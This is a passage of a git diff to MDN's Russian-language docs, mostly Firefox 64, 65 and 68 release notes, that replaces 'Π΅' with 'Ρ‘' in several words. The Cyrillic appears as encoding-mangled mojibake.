+ <li>ΠŸΠΎΠ΄ΡΠ²Π΅Ρ‚ΠΊΠ° <a href="/ru/docs/Tools/Web_Console/The_command_line_interpreter">ΠΎΡ†Π΅Π½Ρ‘Π½Π½ΠΎΠ³ΠΎ ΠΊΠΎΠ΄Π°</a> ΠΈ ΠΏΡ€ΠΈ Π²Π²ΠΎΠ΄Π΅, ΠΈ ΠΏΡ€ΠΈ Π²Ρ‹Π²ΠΎΠ΄Π΅ ({{bug(1463669)}}).</li>
</ul>
</li>
<li>ПошаговоС Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ ΠΊΠΎΠ΄Π° Π² <a href="/ru/docs/Tools/Debugger">ΠΎΡ‚Π»Π°Π΄Ρ‡ΠΈΠΊΠ΅ JavaScript </a>Ρ‚Π°ΠΊΠΆΠ΅ Π±Ρ‹Π»ΠΎ ΡƒΠ»ΡƒΡ‡ΡˆΠ΅Π½ΠΎ:
@@ -165,7 +165,7 @@ translation_of: Mozilla/Firefox/Releases/64
<ul>
<li>Π Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Π½ <code>browser.menus.overrideContext()</code> (({{bug(1280347)}}).</li>
<li>Π Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Π½Π° опция <code>showDefaults: false</code>, ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‰Π°Ρ ΡΠΊΡ€Ρ‹Π²Π°Ρ‚ΡŒ ΠΈΠ· контСкстного мСню ΠΏΡƒΠ½ΠΊΡ‚Ρ‹ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ ({{bug(1367160)}}).</li>
- <li><code>documentURLPatterns</code> Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ ΠΌΠΎΠΆΠ΅Ρ‚ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΠΎΠ²Π°Ρ‚ΡŒ адрСсу <code>moz-extension://</code>, Π΄Π°ΠΆΠ΅ Ссли ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ <code>browser.menus.overrideContext()</code>. Π’Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, ΠΎΠ½ ΠΌΠΎΠΆΠ΅Ρ‚ Π½Π°Π΄Π΅ΠΆΠ½ΠΎ ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡ΠΈΠ²Π°Ρ‚ΡŒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΠ΅ ΠΏΡƒΠ½ΠΊΡ‚Ρ‹ мСню для ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Ρ… Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ΠΎΠ² ({{bug(1498896)}}).</li>
+ <li><code>documentURLPatterns</code> Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ ΠΌΠΎΠΆΠ΅Ρ‚ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΠΎΠ²Π°Ρ‚ΡŒ адрСсу <code>moz-extension://</code>, Π΄Π°ΠΆΠ΅ Ссли ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ <code>browser.menus.overrideContext()</code>. Π’Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, ΠΎΠ½ ΠΌΠΎΠΆΠ΅Ρ‚ Π½Π°Π΄Ρ‘ΠΆΠ½ΠΎ ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡ΠΈΠ²Π°Ρ‚ΡŒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΠ΅ ΠΏΡƒΠ½ΠΊΡ‚Ρ‹ мСню для ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Ρ… Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ΠΎΠ² ({{bug(1498896)}}).</li>
</ul>
</li>
<li>Π‘ ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ Π½ΠΎΠ²ΠΎΠ³ΠΎ свойства <code>viewTypes</code> Π² {{WebExtAPIRef("menus.create()")}} ΠΈ {{WebExtAPIRef("menus.update()")}} ΠΌΠΎΠΆΠ½ΠΎ ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡ΠΈΡ‚ΡŒ мСста появлСния контСкстного мСню Π² Π΄ΠΎΠΏΠΎΠ»Π½Π΅Π½ΠΈΠΈ ({{bug(1416839)}}).</li>
diff --git a/files/ru/mozilla/firefox/releases/65/index.html b/files/ru/mozilla/firefox/releases/65/index.html
index 28b49d021d..275157a0b2 100644
--- a/files/ru/mozilla/firefox/releases/65/index.html
+++ b/files/ru/mozilla/firefox/releases/65/index.html
@@ -60,7 +60,7 @@ translation_of: Mozilla/Firefox/Releases/65
&lt;/div&gt;</pre>
<code>&lt;div&gt;</code>, Π½Π° ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ установлСн <code>none</code>, Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ Π½Π΅ выбираСтся. Π”ΠΎ этого Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>none</code> ΠΏΠ΅Ρ€Π΅ΠΊΡ€Ρ‹Π²Π°Π»ΠΎΡΡŒ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ <code>all</code> Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΡΠΊΠΎΠ³ΠΎ элСмСнта.</li>
<li>Π’Π΅ΠΏΠ΅Ρ€ΡŒ ΠΌΠΎΠΆΠ½ΠΎ Π²Ρ‹Π±ΠΈΡ€Π°Ρ‚ΡŒ элСмСнты Π½Π΅-<code>contenteditable</code>, Π²Π»ΠΎΠΆΠ΅Π½Π½Ρ‹Π΅ Π² элСмСнты <code>contenteditable</code>.</li>
- <li><code>user-select</code> Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ Π²Π΅Π΄Π΅Ρ‚ сСбя согласованно Π²Π½ΡƒΡ‚Ρ€ΠΈ ΠΈ снаруТи Ρ‚Π΅Π½Π΅Π²ΠΎΠ³ΠΎ DOM.</li>
+ <li><code>user-select</code> Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ Π²Π΅Π΄Ρ‘Ρ‚ сСбя согласованно Π²Π½ΡƒΡ‚Ρ€ΠΈ ΠΈ снаруТи Ρ‚Π΅Π½Π΅Π²ΠΎΠ³ΠΎ DOM.</li>
<li>Π£Π΄Π°Π»Π΅Π½ΠΎ ΠΏΡ€ΠΎΠΏΡ€ΠΈΠ΅Ρ‚Π°Ρ€Π½ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>-moz-text</code>.</li>
</ul>
</li>
diff --git a/files/ru/mozilla/firefox/releases/68/index.html b/files/ru/mozilla/firefox/releases/68/index.html
index ed3740fde3..bbf3ad4633 100644
--- a/files/ru/mozilla/firefox/releases/68/index.html
+++ b/files/ru/mozilla/firefox/releases/68/index.html
@@ -60,7 +60,7 @@ translation_of: Mozilla/Firefox/Releases/68
<li><a href="/ru-RU/docs/Tools/Responsive_Design_Mode">Π Π΅ΠΆΠΈΠΌ Π°Π΄Π°ΠΏΡ‚ΠΈΠ²Π½ΠΎΠ³ΠΎ Π΄ΠΈΠ·Π°ΠΉΠ½Π°</a> Π±Ρ‹Π» ΠΏΠ΅Ρ€Π΅Ρ€Π°Π±ΠΎΡ‚Π°Π½ β€” окошко<em> ΠŸΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρ‹ устройства</em> (мСню Π²Ρ‹Π±ΠΎΡ€Π° устройства &gt; <em>Π˜Π·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ список...</em>) Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ Π±ΠΎΠ»Π΅Π΅ ΠΈΠ½Ρ‚ΡƒΠΈΡ‚ΠΈΠ²Π½ΠΎΠ΅ ΠΈ стало ΠΏΡ€ΠΎΡ‰Π΅ Π² использовании ({{bug(1487857)}}).</li>
</ul>
-<h4 id="Π£Π΄Π°Π»Π΅Π½Π½Ρ‹Π΅">Π£Π΄Π°Π»Π΅Π½Π½Ρ‹Π΅</h4>
+<h4 id="Π£Π΄Π°Π»Ρ‘Π½Π½Ρ‹Π΅">Π£Π΄Π°Π»Ρ‘Π½Π½Ρ‹Π΅</h4>
<ul>
<li>Π€Π»Π°ΠΆΠΎΠΊ "Π’ΠΊΠ»ΡŽΡ‡ΠΈΡ‚ΡŒ Π΄ΠΎΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ ΠΏΡ€ΠΈ ΠΎΡ‚Π»Π°Π΄ΠΊΠ΅" Π±Ρ‹Π» ΡƒΠ΄Π°Π»Ρ‘Π½ со страницы <a href="/ru-RU/docs/Tools/about:debugging">about:debugging</a> ({{bug(1544813)}}).</li>
@@ -105,7 +105,7 @@ translation_of: Mozilla/Firefox/Releases/68
</li>
</ul>
-<h4 id="Π£Π΄Π°Π»Π΅Π½Π½Ρ‹Π΅_2">Π£Π΄Π°Π»Π΅Π½Π½Ρ‹Π΅</h4>
+<h4 id="Π£Π΄Π°Π»Ρ‘Π½Π½Ρ‹Π΅_2">Π£Π΄Π°Π»Ρ‘Π½Π½Ρ‹Π΅</h4>
<ul>
<li>{{CSSxRef("scroll-snap-coordinate")}}, {{CSSxRef("scroll-snap-destination")}}, {{CSSxRef("scroll-snap-type-x")}} ΠΈ {{CSSxRef("scroll-snap-type-y")}} Π±Ρ‹Π»ΠΈ ΡƒΠ΄Π°Π»Π΅Π½Ρ‹.</li>
@@ -184,7 +184,7 @@ translation_of: Mozilla/Firefox/Releases/68
<h4 id="Π£Π΄Π°Π»Ρ‘Π½Π½Ρ‹Π΅_3">Π£Π΄Π°Π»Ρ‘Π½Π½Ρ‹Π΅</h4>
<ul>
- <li>Π”ΠΈΡ€Π΅ΠΊΡ‚ΠΈΠ²Π° {{HTTPHeader("Content-Security-Policy")}} <code>require-sri-for</code> большС Π½Π΅ поддСрТиваСтся ΠΈΠ·-Π·Π° Π΅Ρ‘ Π½Π΅ΠΎΠ΄Π½ΠΎΠ·Π½Π°Ρ‡Π½ΠΎΠ³ΠΎ статуса Π² спСцификации. Π Π°Π½Π΅Π΅ ΠΎΠ½Π° Π±Ρ‹Π»Π° Π΄ΠΎΠ±Π°Π²Π»Π΅Π½Π° лишь Π² качСствС надстройки, ΠΎΡ‚ΠΊΠ»ΡŽΡ‡Π΅Π½Π½ΠΎΠΉ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ ({{bug(1386214)}}).</li>
+ <li>Π”ΠΈΡ€Π΅ΠΊΡ‚ΠΈΠ²Π° {{HTTPHeader("Content-Security-Policy")}} <code>require-sri-for</code> большС Π½Π΅ поддСрТиваСтся ΠΈΠ·-Π·Π° Π΅Ρ‘ Π½Π΅ΠΎΠ΄Π½ΠΎΠ·Π½Π°Ρ‡Π½ΠΎΠ³ΠΎ статуса Π² спСцификации. Π Π°Π½Π΅Π΅ ΠΎΠ½Π° Π±Ρ‹Π»Π° Π΄ΠΎΠ±Π°Π²Π»Π΅Π½Π° лишь Π² качСствС надстройки, ΠΎΡ‚ΠΊΠ»ΡŽΡ‡Ρ‘Π½Π½ΠΎΠΉ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ ({{bug(1386214)}}).</li>
</ul>
<h3 id="Π‘Π΅Π·ΠΎΠΏΠ°ΡΠ½ΠΎΡΡ‚ΡŒ">Π‘Π΅Π·ΠΎΠΏΠ°ΡΠ½ΠΎΡΡ‚ΡŒ</h3>
@@ -222,7 +222,7 @@ translation_of: Mozilla/Firefox/Releases/68
<li>БообщСния ΠΎΠ± ошибкС, ΠΊΠΎΠ³Π΄Π° Π΄ΠΎΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ пытаСтся Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ ΠΏΠ°ΠΏΠΊΡƒ с Π·Π°ΠΊΠ»Π°Π΄ΠΊΠ°ΠΌΠΈ Π² ΠΎΡΠ½ΠΎΠ²Π½ΡƒΡŽ ΠΏΠ°ΠΏΠΊΡƒ, Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ Π±ΠΎΠ»Π΅Π΅ ΠΈΠ½Ρ‚ΡƒΠΈΡ‚ΠΈΠ²Π½ΠΎ понятноС ({{bug(1512171)}}).</li>
<li>Promise, Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Ρ‘Π½Π½Ρ‹ΠΉ <code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/duplicate">browser.tabs.duplicate()</a></code>, выполняСтся сразу, ΠΏΠΎΠΊΠ° Π²ΠΊΠ»Π°Π΄ΠΊΠΈ Π½Π΅ Π·Π°Π³Ρ€ΡƒΠΆΠ΅Π½Ρ‹ ΠΏΠΎΠ»Π½ΠΎΡΡ‚ΡŒΡŽ, для ΠΏΠΎΠ²Ρ‹ΡˆΠ΅Π½ΠΈΡ ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ ({{bug(1394376)}}).</li>
<li>Π‘Ρ‹Π»Π° Π΄ΠΎΠ±Π°Π²Π»Π΅Π½Π° ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠ° chrome.storage.managed, ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‰Π°Ρ настройкам Π±Ρ‹Ρ‚ΡŒ Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Π½Π½Ρ‹ΠΌ Ρ‡Π΅Ρ€Π΅Π· ΠΊΠΎΡ€ΠΏΠΎΡ€Π°Ρ‚ΠΈΠ²Π½ΡƒΡŽ ΠΏΠΎΠ»ΠΈΡ‚ΠΈΠΊΡƒ ({{bug(1230802)}}).</li>
- <li>Появилась опция Π“Ρ€ΡƒΠΏΠΏΠΎΠ²ΠΎΠΉ ΠŸΠΎΠ»ΠΈΡ‚ΠΈΠΊΠΈ, ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‰Π°Ρ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ всС Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΡ Π² Ρ‡Π΅Ρ€Π½Ρ‹ΠΉ список, Π·Π° ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ΠΌ Ρ‚Π΅Ρ…, Ρ‡Ρ‚ΠΎ внСсСны Π² Π±Π΅Π»Ρ‹ΠΉ, ({{bug(1522823)}}).</li>
+ <li>Появилась опция Π“Ρ€ΡƒΠΏΠΏΠΎΠ²ΠΎΠΉ ΠŸΠΎΠ»ΠΈΡ‚ΠΈΠΊΠΈ, ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‰Π°Ρ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ всС Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΡ Π² Ρ‡Ρ‘Ρ€Π½Ρ‹ΠΉ список, Π·Π° ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ΠΌ Ρ‚Π΅Ρ…, Ρ‡Ρ‚ΠΎ внСсСны Π² Π±Π΅Π»Ρ‹ΠΉ, ({{bug(1522823)}}).</li>
</ul>
<h3 id="ИзмСнСния_манифСста">ИзмСнСния манифСста</h3>
diff --git a/files/ru/orphaned/learn/how_to_contribute/index.html b/files/ru/orphaned/learn/how_to_contribute/index.html
index d28b40f5f3..25d3398316 100644
--- a/files/ru/orphaned/learn/how_to_contribute/index.html
+++ b/files/ru/orphaned/learn/how_to_contribute/index.html
@@ -38,7 +38,7 @@ original_slug: Learn/Как_ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ_Π²ΠΊΠ»Π°Π΄
<dl>
<dt><a href="/ru/docs/MDN/Contribute/Howto/Tag">Π”ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ Ρ‚Π΅Π³ΠΈ ΠΊ нашим ΡΡ‚Π°Ρ‚ΡŒΡΠΌ</a>Β (<em>5 ΠΌΠΈΠ½</em>)</dt>
- <dd>Π”ΠΎΠ±Π°Π²Π»Π΅Π½ΠΈΠ΅ Ρ‚Π΅Π³ΠΎΠ² ΠΊ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Ρƒ MDN - ΠΎΠ΄ΠΈΠ½ ΠΈΠ· самых Π»Π΅Π³ΠΊΠΈΡ… способов внСсти свой Π²ΠΊΠ»Π°Π΄. ΠŸΠΎΠΌΠΎΡ‰ΡŒ Π² этом Π½Π°ΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠΈ ΠΎΡ‡Π΅Π½ΡŒ Ρ†Π΅Π½Π½Π°, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ Ρ‚Π΅Π³ΠΈ ΡˆΠΈΡ€ΠΎΠΊΠΎ ΠΏΡ€ΠΈΠΌΠ΅Π½ΡΡŽΡ‚ΡΡ Π² MDN, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²ΠΏΠΈΡΠ°Ρ‚ΡŒ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ Π² контСкст. ΠΠ°Ρ‡Π°Ρ‚ΡŒ ΠΌΠΎΠΆΠ½ΠΎ с просмотра списков <a href="/en-US/docs/MDN/Doc_status/Glossary#No_tags">словарных</a> ΠΈ <a href="/en-US/docs/MDN/Doc_status/Learn#No_tags">ΠΎΠ±ΡƒΡ‡Π°ΡŽΡ‰ΠΈΡ… статСй</a>.</dd>
+ <dd>Π”ΠΎΠ±Π°Π²Π»Π΅Π½ΠΈΠ΅ Ρ‚Π΅Π³ΠΎΠ² ΠΊ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Ρƒ MDN - ΠΎΠ΄ΠΈΠ½ ΠΈΠ· самых Π»Ρ‘Π³ΠΊΠΈΡ… способов внСсти свой Π²ΠΊΠ»Π°Π΄. ΠŸΠΎΠΌΠΎΡ‰ΡŒ Π² этом Π½Π°ΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠΈ ΠΎΡ‡Π΅Π½ΡŒ Ρ†Π΅Π½Π½Π°, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ Ρ‚Π΅Π³ΠΈ ΡˆΠΈΡ€ΠΎΠΊΠΎ ΠΏΡ€ΠΈΠΌΠ΅Π½ΡΡŽΡ‚ΡΡ Π² MDN, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²ΠΏΠΈΡΠ°Ρ‚ΡŒ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ Π² контСкст. ΠΠ°Ρ‡Π°Ρ‚ΡŒ ΠΌΠΎΠΆΠ½ΠΎ с просмотра списков <a href="/en-US/docs/MDN/Doc_status/Glossary#No_tags">словарных</a> ΠΈ <a href="/en-US/docs/MDN/Doc_status/Learn#No_tags">ΠΎΠ±ΡƒΡ‡Π°ΡŽΡ‰ΠΈΡ… статСй</a>.</dd>
<dt><a href="/ru/docs/Π‘Π»ΠΎΠ²Π°Ρ€ΡŒ">ΠŸΡ€ΠΎΡ‡ΠΈΡ‚Π°ΠΉΡ‚Π΅ ΠΈ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΡŒΡ‚Π΅ ΡΡ‚Π°Ρ‚ΡŒΡŽ Π² словарС</a> (<em>5 ΠΌΠΈΠ½</em>)</dt>
<dd>Нам ΠΎΡ‡Π΅Π½ΡŒ Π²Π°ΠΆΠ΅Π½ ваш взгляд, ΠΊΠ°ΠΊ Π½Π°Ρ‡ΠΈΠ½Π°ΡŽΡ‰Π΅Π³ΠΎ, Π½Π° наш ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚. Если Π²Ρ‹ считаСтС, Ρ‡Ρ‚ΠΎ ΡΡ‚Π°Ρ‚ΡŒΡ Π² словарС слишком слоТна, Π·Π½Π°Ρ‡ΠΈΡ‚, Π΅Ρ‘ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ ΡƒΠ»ΡƒΡ‡ΡˆΠΈΡ‚ΡŒ. НС ΡΡ‚Π΅ΡΠ½ΡΠΉΡ‚Π΅ΡΡŒ Π²Π½ΠΎΡΠΈΡ‚ΡŒ Π»ΡŽΠ±Ρ‹Π΅ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΡ‹Π΅, Π½Π° ваш взгляд, измСнСния. Если Π²Π°ΠΌ каТСтся, Ρ‡Ρ‚ΠΎ Ρƒ вас нСдостаточно Π½Π°Π²Ρ‹ΠΊΠΎΠ², Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠ°ΠΌΠΎΡΡ‚ΠΎΡΡ‚Π΅Π»ΡŒΠ½ΠΎ ΠΎΡ‚Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ΡΡ‚Π°Ρ‚ΡŒΡŽ, ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡΠΎΠΎΠ±Ρ‰ΠΈΡ‚ΡŒ Π½Π°ΠΌ ΠΎ Π½Π΅ΠΉ Π² нашСм <a href="/en-US/docs/MDN/Community#Join_our_mailing_lists">спискС рассылки</a>.</dd>
<dt><a href="ru/MDN/Contribute/Howto/Write_a_new_entry_in_the_Glossary">ΠΠ°ΠΏΠΈΡˆΠΈΡ‚Π΅ Π½ΠΎΠ²ΡƒΡŽ ΡΡ‚Π°Ρ‚ΡŒΡŽ для словаря</a> (<em>20 ΠΌΠΈΠ½ΡƒΡ‚</em>)</dt>
@@ -82,5 +82,5 @@ original_slug: Learn/Как_ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ_Π²ΠΊΠ»Π°Π΄
<dt><a href="/en-US/docs/MDN/Contribute/Howto/Create_an_interactive_exercise_to_help_learning_the_web">Π‘ΠΎΠ·Π΄Π°ΠΉΡ‚Π΅ упраТнСния, <abbr title="Multiple Choice Tests">Π²ΠΈΠΊΡ‚ΠΎΡ€ΠΈΠ½Ρ‹</abbr>Β ΠΈΠ»ΠΈ ΠΈΠ½Ρ‚Π΅Ρ€Π°ΠΊΡ‚ΠΈΠ²Π½Ρ‹Π΅ ΠΎΠ±ΡƒΡ‡Π°ΡŽΡ‰ΠΈΠ΅ инструмСнты</a>Β (<em>? часа</em>)</dt>
<dd>ВсС наши ΠΎΠ±ΡƒΡ‡Π°ΡŽΡ‰ΠΈΠ΅ ΡΡ‚Π°Ρ‚ΡŒΠΈ Ρ‚Ρ€Π΅Π±ΡƒΡŽΡ‚ ΠΌΠ°Ρ‚Π΅Ρ€ΠΈΠ°Π»ΠΎΠ² "Π°ΠΊΡ‚ΠΈΠ²Π½ΠΎΠ³ΠΎ обучСния", Ρ‚ΠΎ Π΅ΡΡ‚ΡŒ ΡƒΠΏΡ€Π°ΠΆΠ½Π΅Π½ΠΈΠΉ ΠΈΠ»ΠΈ ΠΈΠ½Ρ‚Π΅Ρ€Π°ΠΊΡ‚ΠΈΠ²Π½ΠΎΠ³ΠΎ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΠΎΠΌΠΎΠ³Π°ΡŽΡ‚ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŽ ΡƒΠ³Π»ΡƒΠ±ΠΈΡ‚ΡŒΡΡ ΠΈ Π½Π°ΡƒΡ‡ΠΈΡ‚ΡŒΡΡ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΊΠΎΠ½Ρ†Π΅ΠΏΡ†ΠΈΠΈ, описанныС Π² ΡΡ‚Π°Ρ‚ΡŒΠ΅. Π’ этой области Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ ΠΌΠ½ΠΎΠ³ΠΎΠ΅, ΠΎΡ‚ создания Π²ΠΈΠΊΡ‚ΠΎΡ€ΠΈΠ½ Π΄ΠΎ построСния fullyΒ hackable ΠΈΠ½Ρ‚Π΅Ρ€Π°ΠΊΡ‚ΠΈΠ²Π½ΠΎΠ³ΠΎ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π° с <a href="https://thimble.mozilla.org/" rel="external">Thimble</a>. РаскройтС Π²Π°ΡˆΡƒ Ρ‚Π²ΠΎΡ€Ρ‡Π΅ΡΠΊΡƒΡŽ сторону!</dd>
<dt><a href="/en-US/docs/MDN/Contribute/Howto/Create_learning_pathways">Π‘ΠΎΠ·Π΄Π°ΠΉΡ‚Π΅ ΠΏΡƒΡ‚ΠΈ обучСния</a>Β (<em>? часа</em>)</dt>
- <dd>Π§Ρ‚ΠΎΠ±Ρ‹ ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²ΠΈΡ‚ΡŒ прогрСссивныС ΠΈ доступныС для понимания руководства, Π½Π°ΠΌ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ ΠΎΠ±ΡŠΠ΅Π΄ΠΈΠ½ΡΡ‚ΡŒ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ Π² ΠΏΡƒΡ‚ΠΈ. Π­Ρ‚ΠΎ способ ΡΠΎΠ±Ρ€Π°Ρ‚ΡŒ ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠΉ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ ΠΈ Π²Ρ‹ΡΡΠ½ΠΈΡ‚ΡŒ, Ρ‡Π΅Π³ΠΎ Π² Π½Π΅ΠΌ нСдостаСт для написания ΠΎΠ±ΡƒΡ‡Π°ΡŽΡ‰Π΅ΠΉ ΡΡ‚Π°Ρ‚ΡŒΠΈ.</dd>
+ <dd>Π§Ρ‚ΠΎΠ±Ρ‹ ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²ΠΈΡ‚ΡŒ прогрСссивныС ΠΈ доступныС для понимания руководства, Π½Π°ΠΌ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ ΠΎΠ±ΡŠΠ΅Π΄ΠΈΠ½ΡΡ‚ΡŒ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ Π² ΠΏΡƒΡ‚ΠΈ. Π­Ρ‚ΠΎ способ ΡΠΎΠ±Ρ€Π°Ρ‚ΡŒ ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠΉ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ ΠΈ Π²Ρ‹ΡΡΠ½ΠΈΡ‚ΡŒ, Ρ‡Π΅Π³ΠΎ Π² Π½Π΅ΠΌ нСдостаёт для написания ΠΎΠ±ΡƒΡ‡Π°ΡŽΡ‰Π΅ΠΉ ΡΡ‚Π°Ρ‚ΡŒΠΈ.</dd>
</dl>
diff --git a/files/ru/orphaned/learn/html/forms/html5_updates/index.html b/files/ru/orphaned/learn/html/forms/html5_updates/index.html
index 23d48d6765..e8ba6dbc84 100644
--- a/files/ru/orphaned/learn/html/forms/html5_updates/index.html
+++ b/files/ru/orphaned/learn/html/forms/html5_updates/index.html
@@ -14,7 +14,7 @@ tags:
translation_of: Learn/HTML/Forms/HTML5_updates
original_slug: Web/Guide/HTML/Π€ΠΎΡ€ΠΌΡ‹_Π²_HTML
---
-<p>Π­Π»Π΅ΠΌΠ΅Π½Ρ‚Ρ‹ ΠΈ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Ρ‹ Ρ„ΠΎΡ€ΠΌ Π² <strong>HTML5</strong> ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²Π»ΡΡŽΡ‚ большиС возмоТности сСмантичСской вСрстки, Ρ‡Π΅ΠΌ HTML4, Π° Ρ‚Π°ΠΊΠΆΠ΅ позволяСт ΠΎΡ‚ΠΊΠ°Π·Π°Ρ‚ΡŒΡΡ ΠΎΡ‚ использования JavaScript ΠΈ CSS, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π±Ρ‹Π»ΠΎ Ρ€Π°Π½Π΅Π΅ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ для HTML4. Π‘ΠΎΠ»ΡŒΡˆΠΈΠ΅ возмоТности Π² Ρ„ΠΎΡ€ΠΌΠ°Ρ… HTML5 Π΄Π΅Π»Π°ΡŽΡ‚ ΡƒΠ΄ΠΎΠ±Π½Ρ‹ΠΌ для ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ ΠΎΡ‚ΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠ΅ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ с Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Ρ… Π²Π΅Π±-сайтов. Они Ρ‚Π°ΠΊΠΆΠ΅ 